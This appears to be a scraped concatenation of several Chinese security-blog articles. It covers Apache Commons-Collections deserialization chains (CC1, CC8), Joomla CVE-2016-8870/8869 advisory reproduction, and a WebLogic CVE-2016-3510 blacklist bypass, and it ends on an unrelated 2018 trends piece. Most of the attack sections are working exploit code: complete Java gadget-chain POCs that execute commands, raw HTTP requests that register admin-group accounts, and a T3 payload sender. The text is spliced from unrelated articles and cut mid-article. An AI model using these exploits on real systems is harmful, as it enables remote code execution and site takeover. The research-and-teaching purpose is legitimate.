java.lang.Runtime.exec
不同于这个调用栈，我简单挖掘并采用一种新的方式去进行调用；直接看到hashtable类下有一个put方法，简单追溯下：
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}
非常巧的是这个方法里也是调用到了hashCode方法；而且是任意类下；这里可以直接将key赋值为TiedMapEntry实例；然后去调用其下的hashCode去触发getKey和getValue方法，接着就是常规的利用链了；
## exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC8 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}}),
};
ChainedTransformer chains = new ChainedTransformer(transformers);
HashMap hashmap = new HashMap();
Map maphash = (Map)hashmap;
String lazy = "org.apache.commons.collections.map.LazyMap";
Class lazyclass = Class.forName(lazy);
Constructor lazycon =lazyclass.getDeclaredConstructor(Map.class, Transformer.class);
lazycon.setAccessible(true);
Object lazymap = lazycon.newInstance(maphash,chains);
Map laz = (Map)lazymap;
TiedMapEntry tied = new TiedMapEntry(laz,"s1mple");
Hashtable hash = new Hashtable();
hash.put(tied,"s1mple");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("s1mple.exp"));
out.writeObject(hash);
ObjectInputStream test = new ObjectInputStream(new FileInputStream("s1mple.exp"));
test.readObject();
}
}
感悟；其实某种程度上感觉CC链还是有很多雷同的地方，很多条其他的CC链，基本在前两个CC链研究好了之后都是可以秒出，因为其本质上只是换了去触发相应函数的方法，前两条还挺好，后面的CC链都挺换汤不换药的；至于挖掘新的链条，其实也不是太难，只是看是继续换汤不换药还是去找新的后半部分链条的新触发方式了； | 社区文章 |
# ysoserial系列-Commons-Collections1链分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在之前的文章中已经分析了 **ysoserial** 中 URLDNS 链，有兴趣的师傅可以阅读一下。但是这条链子也只是 Java
反序列化学习的开胃菜，接下来的 Commons-Collections 利用链才是主菜。
> [ysoserial系列-> URLDNS链分析](http://121.40.251.109/2021/07/08/2021-7-8-ysoserial%E7%B3%BB%E5%88%97-URLDNS%E9%93%BE%E5%88%86%E6%9E%90/)
不过在正式分析 Common-Collections1 利用链之前，先讲解一下`Transformer`接口以及继承了这个接口的类。
## Transformer
找到它的源代码：
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
可以看到`Transformer`接口只有一个`transform`方法，之后所有继承该接口的类都需要实现这个方法。
再看一下官方文档如何描述这个方法的：
大致意思就是会将传入的`object`进行转换，然后返回转换后的`object`。还是有点抽象，不过没关系，先放着接下来再根据继承该接口的类进行具体分析。
### ConstantTransformer
部分源码如下：
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
`ConstantTransformer`类当中的`transform`方法就是将初始化时传入的对象返回。
### InvokerTransformer
部分源码如下：
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
`InvokerTransformer`类的构造函数传入三个参数——方法名，参数类型数组，参数数组。在`transform`方法中通过反射机制调用传入某个类的方法，而调用的方法及其所需要的参数都在构造函数中进行了赋值，最终返回该方法的执行结果。
### ChainedTransformer
部分源码如下：
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
`ChainedTransformer`类利用之前构造方法传入的`transformers`数组通过循环的方式调用每个元素的`trandsform`方法，将得到的结果传入下一次循环的`transform`方法中。
那么这样我们可以利用`ChainedTransformer`将`ConstantTransformer`和`InvokerTransformer`的`transform`方法串起来。通过`ConstantTransformer`返回某个类，交给`InvokerTransformer`去调用类中的某个方法。
## demo 1
链条已经有了，就差让链条走起来了，以下POC都是基于P牛代码上修改的。
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "test");
看一下`TrandsformedMap`里的部分源码：
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
`TransformedMap`的`decorate`方法根据传入的参数重新实例化一个`TransformedMap`对象，再看`put`方法的源码，不管是`key`还是`value`都会间接调用`transform`方法，而这里的`this.valueTransformer`也就是`transformerChain`，从而启动整个链子。
第一版的 POC 如下：
package ysoserial.CommonsCollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"C:\\Windows\\System32\\calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "test");
}
}
## demo 2
在第一版 POC 中是手工添加了`put`操作，但是在反序列化的操作中我们需要找到一个类，直接或者间接的方式去调用类似于`put`的操作。
`AnnotationInvocationHandler`的`readObject`方法：
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
这里的`memberValues`就是`TransformedMap`，在遍历`TransformedMap`里元素的时候调用了`setValue`
// AbstractInputCheckedMapDecorator.class
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
// TransformedMap.class
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
所以将`transformerChain`作为参数传入`AnnotationInvocationHandler`，之后再将其反序列化即可完成调用链。
第二版的 POC 如下：
package ysoserial.CommonsCollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyDemo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer tranformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "1");
Map outerMap = LazyMap.decorate(innerMap, tranformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
### 细节 1
**问：为什么传给 ConstantTransformer 的是 Runtime.class，而不直接传入 Runtime.getRuntime()**
答：这是因为在 Java
反序列化中，需要反序列化的对象必须实现`java.io.Serializable`接口，而`Runtime`类并没有实现该接口，所以这里得用反射的方式获取`Runtime`对象，而
POC 当中的 `Runtime.class`是`java.lang.Class`对象，该类实现了`java.io.Serializable`接口。
### 细节 2
**问：为什么通过反射的方式实例化
AnnotationInvocationHandler，并且为什么传入的是Target.class，该参数的作用是什么**
答：`AnnotationInvocationHandler`是 JDK
内部类，不能直接实例化；`AnnotationInvocationHandler`的`readObject`需要使得`var7 !=
null`，而它的条件为（P牛原答）
### 细节 3
在调试该利用链的时候 JDK
版本必须小于8u71，因为在之后的版本中`AnnotationInvocationHandler:readObject`已经被官方修改了。
## demo 3
在`ysoserial`中使用的并不是`TransformedMap`而是`LazyMap`。
`TransformedMap`与`LazyMap`不同的是，`LazyMap`中能够调用`transform`的只有`get`方法，所以无法在`AnnotationInvocationHandler:readObject`中直接使用。
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
不过在`AnnotationInvocationHandler:invoke`中调用了`this.memberValues.get(var4)`（注释处），这里的`memberValues`就是`LazyMap`，所以需要通过某种方式在反序列化当中能够调用`AnnotationInvocationHandler:invoke`方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4); // here
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) !=0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
`ysoserial`的作者使用了对象代理的方式，关于 Java 动态代理，这篇文章讲得很好
<https://www.zhihu.com/question/20794107>
简而言之就是当调用到被代理对象的任何方法时，都会先调用`InvocationHandler`接口中的`invoke`方法，而`AnnotationInvocationHandler`正好实现了该接口。
所以修改后的 POC 如下：
package ysoserial.CommonsCollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyDemo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"})
};
Transformer tranformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, tranformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
// 因为反序列化的入口是 AnnotationInvocationHandler，所以需要将传入 proxyMap 去再次实例化 AnnotationInvocationHandler
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
## 参考链接
1. <https://github.com/phith0n/JavaThings>
2. <https://www.zhihu.com/question/20794107>
3. <https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/> | 社区文章 |
# 【漏洞预警】Joomla!存在未授权创建账号/权限提升漏洞请及时更新
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞描述**
**账号创建（Account Creation）**
**影响版本：** 3.4.4到3.6.3
**报告日期：** 2016年10月18号
**修复日期：** 2016年10月25号
**CVE编号：** CVE-2016-8870
**描述：** 不严格的检查允许用户在网站不允许注册的时候注册账号
**修复建议：** 升级到Joomla!3.6.4版本
**权限提升（Elevated Privileges）**
**影响版本：** 3.4.4到3.6.3
**报告日期：** 2016年10月18号
**修复日期：** 2016年10月25号
**CVE编号：** CVE-2016-8869
**描述：** 不恰当的使用未经严格的数据导致已注册账号可以提升权限
**修复建议：** 升级到Joomla!3.6.4版本
**安全客表示将持续关注该漏洞并及时跟进最新信息。**
**25号Joomla!官方公告**
Joomla!
3.6.4现在已经可以下载了。这是一个3.x版本的安全更新。修复了2个关键的安全问题和一个双因子认证的bug。我们强烈的建议你里立即更新你的网站。
**21号Joomla!官方公告**
在10月25号14:00 UTC（北京时间约22:00）即将发布Joomla! 3.6.4版本（包含一个重要安全问题的修复），Joomla!的Strike
Team安全团队(JSST)确认了这个安全问题。
这是一个非常重要的安全问题修复，请在下周二准备好去更新你的Joomla!。
请理解我们，直到这个版本发布之前，我们不会透漏关于这个漏洞的任何信息。
**
**
**账号创建（Account Creation）复现过程**
********
下载受漏洞影响版本3.6.3并部署，关闭用户注册模块。下载地址
https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz
查看官方修复后的版本3.6.4改动后的代码
https://github.com/joomla/joomla-cms/commit/bae1d43938c878480cfd73671e4945211538fdcf
我们发现components/com_users/controllers/user.php文件中，删除了大量的代码
根据删掉代码里的逻辑，这里并没有检测用户能否注册的权限，我们提交下面的POST请求，即可完成未授权注册用户。
为方便大家复现，参考数据包如下
POST /index.php?option=com_users&task=user.register HTTP/1.1
Host: localhost
Referer: localhost/index.php/component/users/?view=registration
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydPTUbyuhuekYdsD4
Cookie: 16ff61c719338342d4ec65bab8753e6f=g513vf2aandq0dn8fjtcreu523
Connection: close
Content-Length: 1032
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[name]"
secknight
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[username]"
secknight
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[password1]"
password
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[password2]"
password
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[email1]"
[email protected]
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[email2]"
[email protected]
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="task"
user.register
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="671f11e3d1d883f57f8b30e2a2359523"
1
------WebKitFormBoundarydPTUbyuhuekYdsD4--
这里需要注意需要token安全验证，token可以通过index页面的login处获取。
登陆管理员后台查看用户信息，发现新用户secknight,请注意权限。
前台登陆测试。
**权限提升（Elevated Privileges）**
****
对于权限提升，只需要在未授权创建账号的请求数据包中加入user[groups][]参数，值为7。即可成功注册，但是仍旧是没有激活的用户。
POST /index.php?option=com_users&task=user.register HTTP/1.1
Host: localhost
Referer: localhost/index.php/component/users/?view=registration
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydPTUbyuhuekYdsD4
Cookie: 16ff61c719338342d4ec65bab8753e6f=g513vf2aandq0dn8fjtcreu523
Connection: close
Content-Length: 1032
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[name]"
secknight1
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[username]"
secknight1
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[password1]"
password
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[password2]"
password
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[email1]"
[email protected]
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[email2]"
[email protected]
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="user[groups][]"
7
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="task"
user.register
------WebKitFormBoundarydPTUbyuhuekYdsD4
Content-Disposition: form-data; name="671f11e3d1d883f57f8b30e2a2359523"
1
------WebKitFormBoundarydPTUbyuhuekYdsD4--
**参考链接**
<https://www.joomla.org/announcements/release-news/5678-joomla-3-6-4-released.html>
[https://www.joomla.org/announcements/release-news/5677-important-security-announcement-pre-release-364.html](https://www.joomla.org/announcements/release-news/5677-important-security-announcement-pre-release-364.html)
[https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html](https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html)
<https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html>
<https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2#.1kmt2f495> | 社区文章 |
# 初识——Weblogic CVE-2016-3510反序列化漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞背景
在CVE-2016-0638
漏洞修补之后，安全研究者又发现了其他类似的补丁绕过思路，通过新创建的ObjectInputStream对象进行反序列化。这次分析的主角是weblogic.corba.utils.MarshalledObject，由于MarshalledObject不在WebLogic黑名单里，可正常反序列化，在反序列化时MarshalledObject对象调用readObject时对MarshalledObject封装的序列化对象再次反序列化，从而通过二次反序列化绕过黑名单的限制。目前师傅们对该漏洞补丁分析的很少，笔者打算从0到1把这个漏洞讲清楚，下面开始Weblogic
反序列化漏洞系列的第二篇分析。
## 0x02 环境搭建及补丁安装
### 0x1 环境搭建
现成环境
可以采用现成的docker环境，执行以下命令生成对应版本的docker
docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6
自动搭建
利用Docker自动化搭建，在github下载搭建代码
`[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)`
本次实验环境采用jdk7u21和weblogic 10.3.6.0，在jdk_use和weblogic_use文件夹下存放相对应版本的程序
执行如下命令：
./WeblogicDockerBuild.sh
docker-compose up -d
详情可参考[https://www.yuque.com/docs/share/c95cbc62-d853-4de3-94ff-282b2de3b456](https://www.yuque.com/docs/share/c95cbc62-d853-4de3-94ff-282b2de3b456?#)
### 0x2 补丁安装
本次使用的补丁是 p22505423_1036_Generic.zip（需要补丁的同学可以联系笔者获取）
cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=DEM4 -prod_dir=/weblogic/oracle/middleware/wlserver
使用以下指令查看目前版本包含的补丁信息
./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view
## 0x03 补丁分析及绕过
### 0x1 补丁分析
回顾CVE-2016-0638漏洞，在StreamMessageImpl.class中的readExternal函数里存在二次反序列化操作。
p22505423_1036_Generic补丁在 **FilteringObjectInputStream类中的resolveClass方法**
添加黑名单进行防护。
通过查看BLACK_LIST
hashset发现了org.apache.commons.collections.functors和com.sun.org.apache.xalan.internal.xsltc.trax都在黑名单中。
### 0x2 尝试绕过
我们分析过后可以再寻找一个不使用 **FilteringObjectInputStream** 类和
**ServerChannelInputStream** 类进行反序列化的代码就可以绕过了。
在寻找二次反序列化漏洞入口时发现了 TextMessageImpl.class 的readExternal函数里有个反序列化操作。
一开始不了解二次反序列化的我，开心的以为自己挖了个绕过的漏洞，认认真真的把poc构造好。首先在TextMessageImpl.java中增加setmyobj函数用来当作第二次反序列化的poc填充方法，重写writeExternal方法让他达到触发二次反序列化的目的。
public void setmyObj(Object obj){
this.obj = obj;
}
public void writeExternal(ObjectOutput var1) throws IOException {
super.writeExternal(var1);
var1.writeByte(2);
var1.writeBoolean(true);
var1.writeObject(this.obj);
}
通过上述代码将payload发送过去后才发现该代码使用ServerChannelInputStream函数进行反序列化，该类的resolveClass方法使用了黑名单机制，因此只能另寻出路。
### 0x3 知识点分析
下图为ObjectInputstream在反序列化对象时的函数调用关系，橙色部分是调用readObject或readExternal函数后执行的代码。
该部分代码在运行时首先会判断该类是否包含readResolve函数。如果有该函数，之后会调用该函数。
在众多实现了该方法的类中发现了如下代码，在第48行创建新的ObjectInputStream对象进行后续的反序列化工作。
该方法存在MarshalledObject.class中，因此可通过反序列化这个类实现二次反序列化的目的。
### 0x4 如何寻找绕过类
如何搜索满足条件的绕过方法，也是困扰我很久的一个问题。我们首先使用如下命令把所有的jar包都解压
find ./ -name "*.jar" 2>/dev/null| awk '{print "unzip -o " $1 " -d " substr($1,1,length($1)-4) }' | bash
之后用如下命令搜索包含readObject和readResolve关键字的函数
grep -nr "readResolve" --include="*.class" ./ 2>/dev/null | awk '{print "grep -nr readObject " $3}' | bash
搜索到的结果如下
这种搜索方式只能给我们缩小范围，并不能做到精准定位。后面还需要人工分析每个类中是否真的是readResolve函数中调用了readObject函数。当然这种死板的搜索方式也会有很多漏报，比如readObject被封装在了其他类的函数中，我们基本就无法搜到了，不过目前来讲这种方式已经够用了。
## 0x04 Payload构造
### 0x1 MarshalledObject分析
那么从搜索到的第一个文件开始分析oracle/middleware/wlserver/server/lib/wlclient/weblogic/corba/utils/MarshalledObject.class
其关键代码如下
使用新创建的ObjectInputStream方法，反序列化this.objBytes中的数据，因为之前的补丁都在
**FilteringObjectInputStream** 类和 **ServerChannelInputStream**
类中，所以当调用readObject的时候就可以成功执行反序列化利用链。
那么如何构payload，主要观察this.objBytes数据是何时填充的。注意到该类的构造方法存在比较有意思的操作
MarshalledObject接收到参数通过var3进行序列化，并将相关数据存储在objBytes中。因此我们只需要把二次反序列化对象填充在MarshalledObject构造方法参数中即可。
### 0x2 编写代码
完整代码链接 <https://github.com/BabyTeam1024/CVE-2016-3510>
package main;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jms.common.StreamMessageImpl;
import weblogic.jms.common.TextMessageImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cve_2016_3510 {
public Object getObject() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"touch /tmp/D4ck"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
return handler;
}
public static void main(String[] args) throws Exception {
Object obj = new cve_2016_3510().getObject();
MarshalledObject textMessage = new MarshalledObject(obj);
byte[] payload2 = Serializables.serialize(textMessage);
T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
}
}
## 0x05 总结
通过分析CVE-2016-3510漏洞，深入理解二次反序列化更深层次的原理。同时提出了一种粗略寻找漏洞点的搜索方法。接下来继续分析Weblogic历史漏洞及其底层原理。
## 参考文章
[https://www.anquanke.com/post/id/226656](https://www.anquanke.com/post/id/226656#h2-2)
<https://www.cnblogs.com/afanti/p/10240232.html> | 社区文章 |
# 360企业安全：2018年中国网络安全十大趋势
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 两年前，时任RSA总裁Amit
> Yoran在RSAC的主题演讲中认为，在当今的网络安全威胁形势下，防御者如同拿着一张旧地图在海上航行，茫然无助。显在当今动态的、不对称的、复杂的和不确定的网络安全环境下，画地图已经徒劳无益，所以我们尝试着做一个指南针。
>
> 中国网络安全行业，不仅面临着全球网络空间共同的安全威胁，还有因为不同基础和不同发展阶段带来的个性问题挑战，以及因为不同的国家战略和政策法规下带来的监管环境的不同，这些都决定了我们需要自己的指南针。
>
> 为此360企业安全研究院邀请了近50位国内网络安全行业专家共同对2018年的行业风向进行了把握和预测，在此基础上形成了《2018年中国网络安全十大趋势》，期望它成为一个指南针，帮助从事和关心网络安全行业发展的同仁们找准方向。
## 勒索攻击成为网络攻击的一种新常态，攻击方式不断花样翻新
勒索软件是近两年来影响最大、最受关注的网络安全威胁之一。攻击者通过电子邮件、网络渗透、蠕虫病毒等多种形式，向受害者的电脑终端或服务器发起攻击，加密系统文件并勒索赎金。
从整体态势来看，2018年勒索软件的质量和数量将不断攀升，成为网络攻击的一种新常态。
